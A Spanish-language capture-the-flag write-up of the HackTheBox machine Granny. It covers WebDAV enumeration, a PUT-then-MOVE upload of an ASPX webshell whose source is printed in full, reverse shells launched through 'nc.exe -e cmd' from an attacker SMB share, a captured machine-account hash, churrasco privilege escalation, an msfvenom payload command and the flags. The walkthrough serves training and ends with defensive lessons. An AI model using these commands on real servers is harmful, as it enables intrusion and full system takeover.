the_open_door
café
ESEN

Granny

HackTheBoxFácilWindows10.10.10.15

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#iis#webdav#webdav-put-move#aspx-webshell#file-upload-rce#seimpersonate#churrasco-token-kidnapping#windows-server-2003
TL;DR. Granny es la gemela de Grandpa: el mismo IIS 6.0 con WebDAV, pero aquí el vector es la mala configuración de los métodos HTTP. WebDAV permite PUT y MOVE: subimos una webshell .aspx como .txt (que sí se acepta) y luego la renombramos a .aspx con MOVE, esquivando el filtro de extensiones. Eso da ejecución de comandos como NT AUTHORITY\NETWORK SERVICE, que tiene SeImpersonatePrivilege. Como es un Windows Server 2003, JuicyPotato no aplica y se escala con churrasco (token kidnapping) a SYSTEM.

Reconocimiento

Escaneo inicial

Empezamos por el ping, que ya orienta sobre el sistema operativo:

ping -c 1 10.10.10.15

Ping a 10.10.10.15 con la respuesta ttl=127 subrayada

64 bytes from 10.10.10.15: icmp_seq=1 ttl=127 time=101 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que un 127 son 128 menos el salto de la VPN. Indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.15

Escaneo completo de puertos TCP: solo el 80 abierto y 65534 puertos filtrados

Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

extractPorts resume el fichero -oG y deja el único puerto en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.10.15 y el unico puerto abierto, el 80

Extracting information ...
IP Address: 10.10.10.15
Open ports: 80

Merece la pena pararse en el Not shown. En la mayoría de las máquinas Linux de esta serie los 65.534 restantes salen como closed (reset): la máquina contesta con un RST y dice "aquí no hay nada". Aquí salen como filtered (no-response), es decir, silencio absoluto. Esa diferencia no es cosmética: significa que hay un cortafuegos delante descartando los paquetes en vez de rechazarlos, y explica por qué el escaneo tarda 26 segundos en lugar de 15. También significa que no podemos dar por cerrado ningún puerto, solo por no-respondido.

El syn-ack ttl 127 de la columna REASON confirma por segunda vía lo que dijo el ping, y esta vez sin depender del ICMP.

nmap -p80 -sCV 10.10.10.15

Escaneo de versiones del puerto 80: IIS 6.0 con el script http-webdav-scan y sus listas de metodos

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-title: Under Construction
| http-webdav-scan:
|   Server Type: Microsoft-IIS/6.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
|                   PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND,
|                    PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Mon, 15 Sep 2025 19:43:55 GMT
|_http-server-header: Microsoft-IIS/6.0
| http-methods:
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Aquí está el detalle que hay que leer despacio, porque es fácil pasarlo por alto: PUT aparece en Public Options pero NO en Allowed Methods. Son dos listas distintas y nmap las saca de sitios distintos. Public Options es la cabecera Public: que IIS anuncia como capacidades del servidor; Allowed Methods es la cabecera Allow: de la respuesta al OPTIONS sobre la raíz, o sea lo que el servidor dice que se puede hacer en ese recurso concreto.

Leído tal cual, el escaneo sugiere que PUT está anunciado pero no habilitado. La conclusión correcta no es "no hay subida", es "hay que comprobarlo": una cabecera Allow: es lo que el servidor declara, no lo que el servidor hace. davtest va a demostrar en un momento que PUT funciona perfectamente. La lista de Potentially risky methods de http-methods, que sí incluye PUT, ya avisa de por dónde van los tiros.

Lo que sí queda confirmado es MOVE, presente en las dos listas. WebDAV con PUT permite subir ficheros y con MOVE renombrarlos: esa combinación es el vector.

WebDAV - enumerar con davtest

davtest prueba qué tipos de fichero acepta el servidor:

davtest -url http://10.10.10.15

davtest muestra que el servidor acepta subir ficheros txt, php y html pero rechaza asp y aspx

Testing DAV connection
OPEN            SUCCEED:                http://10.10.10.15
NOTE    Random string for this session: Vc4lApG_
Creating directory
MKCOL           SUCCEED:                Created http://10.10.10.15/DavTestDir_Vc4lApG_
Sending test files
PUT     aspx    FAIL
PUT     jsp     SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.jsp
PUT     asp     FAIL
PUT     shtml   FAIL
PUT     jhtml   SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.jhtml
PUT     cfm     SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.cfm
PUT     txt     SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.txt
PUT     cgi     FAIL
PUT     pl      SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.pl
PUT     html    SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.html
PUT     php     SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.php
Checking for test file execution
EXEC    jsp     FAIL
EXEC    jhtml   FAIL
EXEC    cfm     FAIL
EXEC    txt     SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.txt
EXEC    txt     FAIL
EXEC    pl      FAIL
EXEC    html    SUCCEED:        http://10.10.10.15/DavTestDir_Vc4lApG_/davtest_Vc4lApG_.html
EXEC    html    FAIL
EXEC    php     FAIL

Lo primero que resuelve esta salida es la duda que dejó nmap: el MKCOL crea un directorio y los PUT suben ficheros, así que la escritura está habilitada pese a que PUT no salía en Allowed Methods. Confirmado con una prueba, no con una cabecera.

Lo segundo es el filtro. El servidor sube txt, php, html, jsp, jhtml, cfm y pl, pero bloquea justo aspx y asp (además de shtml y cgi). No es casualidad: son precisamente las extensiones que IIS 6.0 pasaría al motor de ASP.NET. Hay una lista negra por extensión en la subida.

Y conviene entender qué significa el EXEC de davtest, porque despista. EXEC SUCCEED en txt y html no es ejecución de código: davtest sube un fichero con un texto conocido, lo pide de vuelta y comprueba si ese texto aparece en la respuesta. Para un .txt o un .html aparece siempre, porque el servidor los devuelve tal cual. Los FAIL de php, jsp, cfm y pl dicen lo contrario y son más informativos: se pueden subir pero el servidor no los interpreta, porque IIS no tiene ni PHP ni un contenedor de servlets. Subir un .php aquí no sirve para nada.

Resumiendo: se puede escribir, lo único que ejecutaría es .aspx, y .aspx es justo lo que el filtro bloquea. La salida es esquivarlo con MOVE.

Shell como NETWORK SERVICE

Bypass PUT + MOVE

La idea: subir la webshell con una extensión permitida (.txt) y, una vez en el servidor, renombrarla a .aspx con el método MOVE. El filtro solo mira la extensión en la subida (PUT), no en el renombrado.

No hace falta buscar la webshell por internet: Kali trae una en /usr/share/webshells/.

locate cmdasp.aspx
cp $(locate cmdasp.aspx) .
mv cmdasp.aspx cmdasp.txt

locate encuentra cmdasp.aspx en /usr/share/webshells/aspx y se copia al directorio de trabajo

# locate cmdasp.aspx
/usr/share/webshells/aspx/cmdasp.aspx

el mv deja el fichero como cmdasp.txt y el ls filtrado por cmd lo confirma

# mv cmdasp.aspx cmdasp.txt
# ls | grep cmd
cmdasp.txt

El renombrado a .txt se hace en local, antes de subir: el PUT va a mandar el fichero con el nombre que le indiquemos en la URL, y ese nombre tiene que llevar una extensión que el filtro acepte.

# subir la webshell como .txt
curl -s -X PUT http://10.10.10.15/cmdasp.txt -d @cmdasp.txt
# comprobar que está arriba
curl http://10.10.10.15/cmdasp.txt
# renombrar a .aspx con MOVE
curl -s -X MOVE -H "Destination: http://10.10.10.15/cmdasp.aspx" http://10.10.10.15/cmdasp.txt

Subida del fichero como .txt con PUT y renombrado a .aspx con el método MOVE de WebDAV mediante curl

# curl http://10.10.10.15/cmdasp.txt
<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %><script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e){}
string ExcuteCmd(string arg){
  ProcessStartInfo psi = new ProcessStartInfo();
  psi.FileName = "cmd.exe"; psi.Arguments = "/c "+arg;
  psi.RedirectStandardOutput = true; psi.UseShellExecute = false;
  Process p = Process.Start(psi); StreamReader stmrdr = p.StandardOutput;
  string s = stmrdr.ReadToEnd(); stmrdr.Close(); return s;}
void cmdExe_Click(object sender, System.EventArgs e){
  Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("</pre>");}
</script><HTML><HEAD><title>awen asp.net webshell</title></HEAD><body>
<form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" ...>
<asp:Button id="testing" ... Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" ...>Command:</asp:Label></form></body></HTML>
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com) -->
<!-- http://michaeldaw.org   04/2007 -->

El curl sobre cmdasp.txt devuelve el código de la webshell en texto plano, y eso ya es la prueba de dos cosas a la vez: el PUT como .txt pasó el filtro, y con esa extensión el servidor lo sirve como fichero en vez de ejecutarlo. Es exactamente el comportamiento que buscamos.

De paso, leerla entera ahorra trabajo después. Se ve que el ejecutor real es psi.FileName = "cmd.exe" con psi.Arguments = "/c "+arg, o sea que cualquier cosa que escribamos se pasa a cmd /c; que el campo del formulario se llama txtArg y el botón testing con el texto excute (escrito así, sin la e, en el original de 2007); y que la respuesta se envuelve en Response.Write("<pre>"), que es por qué la salida por CLI va a venir con un <pre> delante. La atribución del final la fecha en abril de 2007: es la misma webshell que Kali sigue empaquetando.

Una vez convertida en .aspx con MOVE, IIS ya no la sirve, la ejecuta. Comprobamos con un whoami:

La webshell cmdasp.aspx en el navegador devuelve nt authority\network service al ejecutar whoami

Ejecución de comandos confirmada como nt authority\network service, la cuenta del pool de aplicaciones de IIS.

Del navegador a la CLI

Trabajar desde el formulario es incómodo. El problema para saltar a curl es que la webshell es una página ASP.NET y su POST lleva un campo __VIEWSTATE, así que hay que capturar una petición real para saber qué mandar. Interceptamos con Burp una ejecución cualquiera:

Peticion POST interceptada en Burp con los campos __VIEWSTATE, txtArg y testing del formulario

POST /cmdasp.aspx HTTP/1.1
Host: 10.10.10.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

__VIEWSTATE=dDwxNjc4OTc2NDgzOzs%2BF4Ar8jy1mNkubzWLaox%2BwtY0EeA%3D&txtArg=whoami&testing=excute

Aquí hay un riesgo que conviene nombrar antes de seguir: el __VIEWSTATE de ASP.NET puede ser dinámico. Si el servidor lo regenera o lo firma por sesión, reutilizarlo desde curl devolvería un error de validación y habría que renegociarlo en cada petición. Se comprueba de la única forma que vale, probándolo:

curl http://10.10.10.15/cmdasp.aspx -d "__VIEWSTATE=dDwxNjc4OTc2NDgzOzs%2BF4Ar8jy1mNkubzWLaox%2BwtY0EeA%3D&txtArg=whoami&testing=excute" | head -n 1

El mismo POST reproducido con curl devuelve nt authority\network service desde la terminal

<pre>nt authority\network service

Funciona, o sea que el __VIEWSTATE es estático y se puede reutilizar tal cual. A partir de aquí basta con cambiar el valor de txtArg para ejecutar lo que queramos. Y el <pre> que precede a la salida es el Response.Write que ya habíamos leído en el código, de ahí el head -n 1 para quedarse solo con la línea útil.

De RCE a reverse shell

Tenemos ejecución de comandos, pero no tenemos nc.exe en la máquina víctima y esta es una Windows Server 2003: nada de certutil moderno ni de Invoke-WebRequest, porque no hay PowerShell. La vía que sí funciona en cualquier Windows es montar un recurso SMB y ejecutar el binario desde la ruta UNC, sin descargarlo. El propio cmd.exe sabe hacerlo.

cp $(locate nc.exe | head -n 1) .
smbserver.py smbFolder $(pwd)

nc.exe copiado al directorio de trabajo y smbserver.py de Impacket sirviendo el recurso smbFolder

# ls
cmdasp.txt  nc.exe

# smbserver.py smbFolder $(pwd)
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

Con el recurso levantado y un listener esperando en el 443, le pedimos a la webshell que ejecute el nc.exe remoto. Solo cambia el txtArg de la petición que ya validamos:

curl -s http://10.10.10.15/cmdasp.aspx \
  -d '__VIEWSTATE=dDwxNjc4OTc2NDgzOzs%2BF4Ar8jy1mNkubzWLaox%2BwtY0EeA%3D&txtArg=\\10.10.16.6\smbFolder\nc.exe -e cmd 10.10.16.6 443&testing=excute'
sudo rlwrap nc -nlvp 443

La reverse shell entra en el listener del 443 y el smbserver registra la autenticacion de GRANNY$ con su hash NetNTLMv2

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.15] 1064
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>

Reverse shell dentro, y el directorio de trabajo (c:\windows\system32\inetsrv) confirma que quien la lanzó es el proceso de IIS.

Merece la pena mirar la otra mitad de la captura, la del smbserver.py, porque contiene un regalo que es fácil no ver:

[*] Incoming connection (10.10.10.15,1062)
[*] AUTHENTICATE_MESSAGE (HTB\GRANNY$,GRANNY)
[*] User GRANNY\GRANNY$ authenticated successfully
[*] GRANNY$::HTB:2c246863c09a30f30000000000000000000000000000000000:d08b24c244ecca38558b5b93a10b7e9f4b311b1f40bda357:aaaaaaaaaaaaaaaa

Cuando la víctima se conecta a nuestro recurso, se autentica contra él, y smbserver.py se queda con el reto/respuesta: eso es un NetNTLMv2 de la cuenta de máquina GRANNY$ del dominio HTB. No nos hace falta en esta caja (el hash de una cuenta de máquina es aleatorio y de más de 100 caracteres, así que crackearlo no es realista), pero es exactamente el mismo mecanismo que sustenta ataques como el NTLM relay: obligar a un sistema a autenticarse contra un recurso que controlamos. Aquí ha salido gratis, como efecto colateral de transferir un fichero.

Shell como SYSTEM

SeImpersonatePrivilege + Windows Server 2003

La fase final es idéntica a la de Grandpa, porque es el mismo sistema operativo. Lo primero es mirar los privilegios de la cuenta y la versión exacta del sistema, que son los dos datos que deciden la herramienta:

whoami /priv
systeminfo

Salida de whoami /priv con SeImpersonatePrivilege habilitado y systeminfo mostrando Windows Server 2003 Standard Edition

PRIVILEGES INFORMATION

Privilege Name                Description                                  State
============================= ============================================ ========
SeAuditPrivilege              Generate security audits                     Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process           Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                     Enabled
SeImpersonatePrivilege        Impersonate a client after authentication    Enabled
SeCreateGlobalPrivilege       Create global objects                        Enabled
Host Name:                 GRANNY
OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:                5.2.3790 Service Pack 2 Build 3790
OS Configuration:          Standalone Server
Registered Owner:          HTB
Original Install Date:     4/12/2017, 5:07:40 PM

La tabla entera se lee buscando lo que está Enabled, y ahí aparece SeImpersonatePrivilege. Es el privilegio que permite a un proceso adoptar el token de un cliente que se autentique contra él, y es estándar en las cuentas de servicio de IIS precisamente porque las necesitan para atender peticiones en nombre de otros. El problema es que si controlamos el proceso, controlamos a quién suplantar.

Vale la pena fijarse en que SeAssignPrimaryTokenPrivilege está Disabled: los dos juntos son la combinación clásica, pero con SeImpersonate solo ya basta para toda la familia Potato.

El systeminfo es el que decide la herramienta. 5.2.3790 es Windows Server 2003, de 2003, y con ese dato JuicyPotato queda descartado: depende de CLSIDs y de un servidor DCOM que en esta generación no existen tal cual. Para 2003 la herramienta es churrasco, que explota el mismo concepto (token kidnapping, documentado por Cesar Cerrudo en 2008) con la mecánica de la época.

Aquí conviene la salvedad de siempre: que un privilegio esté habilitado no garantiza la escalada. La condición real es que exista una herramienta que sepa forzar una autenticación privilegiada en esa versión concreta de Windows, y ese emparejamiento herramienta-versión es justo lo que hay que comprobar antes de disparar.

Token kidnapping con churrasco

churrasco.exe no viene en Kali, hay que traerlo. Buscarlo por nombre lleva directo a la referencia:

la búsqueda de churrasco.exe devuelve el articulo Privilege Escalation (Windows) de Binary Region como resultado destacado

Ese artículo (repo original; compilado en Binary Region) explica el porqué en una línea y enlaza el binario ya compilado:

el articulo de Binary Region con la captura del JuicyPotato fallando por arquitectura, el enlace de descarga de churrasco.exe y la descarga completada de 30,5 KB

As we have discussed, in some scenarios JuicyPotato wont work with the older systems. Hence for the
privilege escalation, we will use churrasco exploit.

Download churrasco.exe from given link: churrasco.exe

Create a reverse shell on local machine in msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=<local machine IP> LPORT=4444 EXITFUNC=thread -f exe
  -a x86 --platform windows -o shell.exe

Transfer both the files (churrasco.exe & shell.exe) to the target machine.

El binario descargado se mueve a la carpeta que ya sirve smbserver.py:

mv /home/krmena/Downloads/churrasco.exe .
smbserver.py smbFolder $(pwd)

el churrasco.exe movido al directorio de exploits y smbserver.py de Impacket sirviendo la carpeta como smbFolder

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

Esta vez sí lo copiamos al disco de la víctima, porque el binario tiene que ejecutarse localmente para poder secuestrar el token:

cd C:\Windows\Temp
copy \\10.10.16.6\smbFolder\churrasco.exe
dir

churrasco.exe copiado a C:\WINDOWS\Temp y el listado del directorio confirmando los 31.232 bytes

C:\WINDOWS\Temp>copy \\10.10.16.6\smbFolder\churrasco.exe
        1 file(s) copied.

C:\WINDOWS\Temp>dir
 Directory of C:\WINDOWS\Temp

09/15/2025  11:27 PM             31,232 churrasco.exe
04/12/2017  10:14 PM    <DIR>          rad61C21.tmp
04/12/2017  10:14 PM    <DIR>          radDDF39.tmp
02/18/2007  03:00 PM             22,752 UPD55.tmp
12/24/2017  08:24 PM    <DIR>          vmware-SYSTEM

C:\Windows\Temp se elige porque es escribible por prácticamente cualquier cuenta, incluida NETWORK SERVICE, y ese es todo el criterio. Los ficheros de 2007 y 2017 que la comparten dan la medida de lo antigua que es la instalación.

Con nc a la escucha en el 4443 y nc.exe todavía accesible por SMB, lanzamos el exploit pasándole como argumento el comando que queremos que ejecute ya como SYSTEM:

rlwrap nc -nlvp 4443
.\churrasco.exe "\\10.10.16.6\smbFolder\nc.exe -e cmd 10.10.16.6 4443"

La estructura es la propia de esta familia de herramientas: churrasco no da una shell por sí mismo, recibe un comando y lo ejecuta con el token robado. Nosotros le pasamos una segunda reverse shell, que es la que va a entrar con privilegios.

churrasco ejecuta nc.exe como SYSTEM y devuelve una shell con privilegios de NT AUTHORITY\SYSTEM

listening on [any] 4443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.15] 1069
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
nt authority\system

La nueva reverse shell corre como NT AUTHORITY\SYSTEM. Con eso ya se pueden leer las dos flags, que en esta generación de Windows no viven en C:\Users sino en Documents and Settings:

Listado de C:\ y de DOCUME~1 con los perfiles Administrator y Lakis, y la lectura de root.txt y user.txt

C:\>dir
 Directory of C:\

04/12/2017  05:27 PM    <DIR>          ADFS
04/12/2017  10:19 PM    <DIR>          Documents and Settings
04/12/2017  05:17 PM    <DIR>          FPSE_search
04/12/2017  05:17 PM    <DIR>          Inetpub
12/24/2017  08:21 PM    <DIR>          Program Files
09/16/2021  02:49 PM    <DIR>          WINDOWS
04/12/2017  05:05 PM    <DIR>          wmpub
C:\DOCUME~1>dir
 Directory of C:\DOCUME~1

04/12/2017  09:48 AM    <DIR>          Administrator
04/12/2017  05:03 AM    <DIR>          All Users
04/12/2017  10:19 AM    <DIR>          Lakis

El DOCUME~1 no es un capricho: es el nombre corto 8.3 de Documents and Settings, y en una cmd de 2003 es la forma cómoda de entrar en un directorio con espacios sin pelearse con las comillas. El listado de C:\ de paso confirma el perfil de la máquina: Inetpub (IIS), FPSE_search (las extensiones de FrontPage, que son justo las que implementan WebDAV en IIS 6.0) y wmpub (Windows Media Services).

C:\DOCUME~1>type Administrator\Desktop\root.txt
aa4beed1c0584445ab463a6747bd06e9

C:\DOCUME~1>type Lakis\Desktop\user.txt
700c5dc163014e22b3e408f8703f67d1

Las dos de una sentada, porque SYSTEM lee el escritorio de cualquier perfil. Lakis es el único usuario real de la máquina y nunca hizo falta comprometerlo: se pasó de la cuenta de servicio de IIS directamente a SYSTEM.

Cadena de ataque

IIS 6.0 + WebDAV (80), único puerto abierto (65534 filtrados)
   └─ davtest: se puede escribir, pero .asp/.aspx bloqueados en el PUT
        └─ PUT cmdasp.txt  +  MOVE → cmdasp.aspx  (bypass del filtro de extensión)
             └─ __VIEWSTATE estático → webshell operable desde curl
                  └─ nc.exe servido por SMB  ──►  NT AUTHORITY\NETWORK SERVICE
                       └─ SeImpersonatePrivilege en Windows Server 2003 (5.2.3790)
                            └─ churrasco (token kidnapping)  ──►  SYSTEM (user.txt + root.txt)

Lecciones aprendidas

  • Un filtro de extensión en la subida no basta si permites renombrar. El servidor bloqueaba .aspx en el PUT, pero permitía MOVE: subir como .txt y renombrar a .aspx esquiva el control por completo. La validación debe cubrir todas las operaciones, no solo la inicial.
  • Habilitar PUT/MOVE en WebDAV es exponer escritura sobre el servidor web. Si no se necesitan métodos de escritura, se deshabilitan. WebDAV "por si acaso" es superficie de ataque gratuita.
  • Grandpa y Granny enseñan dos caras del mismo IIS 6.0. Una cae por el BOF de la versión (CVE-2017-7269); la otra por la mala configuración de métodos. El mismo software viejo, dos vectores distintos, y la misma escalada final por churrasco.
  • El privilegio de suplantación es oro en cuentas de servicio. SeImpersonatePrivilege en la cuenta del pool de IIS lleva a SYSTEM con la herramienta adecuada para la versión de Windows: churrasco aquí, los Potato en sistemas modernos.
  • Lo que un servidor declara no es lo que un servidor hace. nmap dejó PUT fuera de Allowed Methods y la subida funcionaba igual. Una cabecera Allow: es una afirmación del servidor, no una comprobación; la prueba la dio davtest intentándolo de verdad. La misma lógica aplica al revés: un método listado tampoco garantiza que esté operativo.
  • filtered y closed no significan lo mismo. Los 65.534 puertos restantes salieron como filtered (no-response), o sea silencio, no rechazo: hay un cortafuegos descartando paquetes. Con un closed (reset) se puede afirmar que no hay servicio detrás; con un filtered, solo que no contestó.
  • SUCCEED en la subida y SUCCEED en la ejecución son cosas distintas. davtest subía .php, .jsp y .cfm sin problema y ninguno se ejecutaba, porque IIS no tiene esos intérpretes. La pregunta útil nunca es "¿qué puedo subir?", es "¿qué de lo que puedo subir sabe interpretar este servidor?".
  • Transferir un fichero por SMB deja un rastro que corta en las dos direcciones. El smbserver.py se quedó con el NetNTLMv2 de GRANNY$ solo por conectarse la víctima. Aquí es anecdótico, pero es el mismo primitivo en el que se apoya el NTLM relay, y explica por qué salir hacia SMB fuera de la red es algo que se bloquea en el perímetro.
Cheatsheet de comandos 20 comandos

Repaso rápido